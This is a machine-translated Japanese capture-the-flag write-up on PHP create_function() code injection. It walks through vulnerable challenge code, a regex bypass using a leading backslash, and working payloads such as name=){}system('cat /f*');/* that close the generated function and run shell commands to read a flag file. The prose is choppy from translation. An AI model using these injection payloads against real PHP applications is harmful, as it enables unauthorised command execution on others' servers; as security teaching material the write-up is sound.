赤い封筒チャレンジ 8
ソースコードは次のとおりです
<?php
highlight_file(__FILE__);
error_reporting(0);
extract($_GET);
create_function($name,base64_encode($value))();
検査creat_function
機能
create_function() 関数
適用範囲: PHP 4> = 4.0.1
、PHP 5
、PHP 7
関数: 渡されたパラメーターに基づいて匿名関数を作成し、その一意の名前を返します。
文法:
create_function(string $args,string $code)
//string $args 声明的函数变量部分
//string $code 执行的方法代码部分
機能的解析:
<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
?>
出力:
New anonymous function: lambda_1
ln(2) + ln(2.718281828459) = 1.6931471805599
reate_function()
無名関数 ( lambda
style )を作成します
create_function()
関数は内部で実行され、 2 番目のパラメーターの位置に属する次のステートメントeval()
が実行されることがわかります。return
create_function()
string $code
したがって、create_function 関数は次と同等です。
<?php
function lambda1($a,$b){
return "ln($a) + ln($b) = " . log($a * $b);
}
?>
コードインジェクションの例:
<?php
//sorry , here is true last level
//^_^
error_reporting(0);
include "str.php";
$a = $_GET['a'];
$b = $_GET['b'];
if(preg_match('/^[a-z0-9_]*$/isD',$a)){
show_source(__FILE__);
}
else{
$a('',$b);
}
最後の文字/i
は大文字と小文字を区別せず、/s
非表示の文字に一致します。/D
終了文字が $ で制限されている場合、末尾に改行は許可されません。
ペイロードを構築します。
?a=\create_function&b=return 'Leaf';}phpinfo();/*
\
この関数は、通常のマッチングをバイパスするものですpreg_match
。最初のセミコロンはreturn
ステートメントを終了するものです。}
この関数はcreate_function
ステートメントを閉じるものです。その後、phpinfo() が正常に実行されるように、最後の中括弧をコメント アウトするために実行phpinfo();
後に追加されます。/*
簡単に説明すると、creat_function
関数を作成することです。
create_function($name,base64_encode($value))();
これは次のコードとして表示できます。
creat($name){
base64_encode($value)
}
つまり、次のように函数片段
見てください。
とりあえず無視して、先に対処することbase54_encode($value)
もできます。$name
私たちがしなければならないことは、作成した関数を閉じてから次のステートメントを実行することです。
name
渡された値を想定します
?name=){}phpinfo();/*
$name
ペイロードを持ち込みます
#带入$name
creat(){
}phpinfo();/*){
base64_encode($value)
}
それを整理する
creat(){
#空语句
}phpinfo();/*){
base64_encode($value)
}
これから実行できるようになりますphpinfo()
質問に戻りますが、creat_function
それは与えられています。$name
ステートメントを閉じてコマンドを実行するためにそれを渡す必要があります$value
(これは気軽に渡すことができます)。
ただし、ここで注意すべき点は、括弧を閉じるだけcreat_function
でなく閉じる必要があるということです。($name)
ペイロードを直接構築します。
?value=Leaf&name=){}system('ls /');/*
cat /f*
フラグを取得するようにコマンドを変更します。
?value=Leaf&name=){}system('cat /f*');/*
この質問は次のものを参照できます: [NISACTF 2022]レベルアップ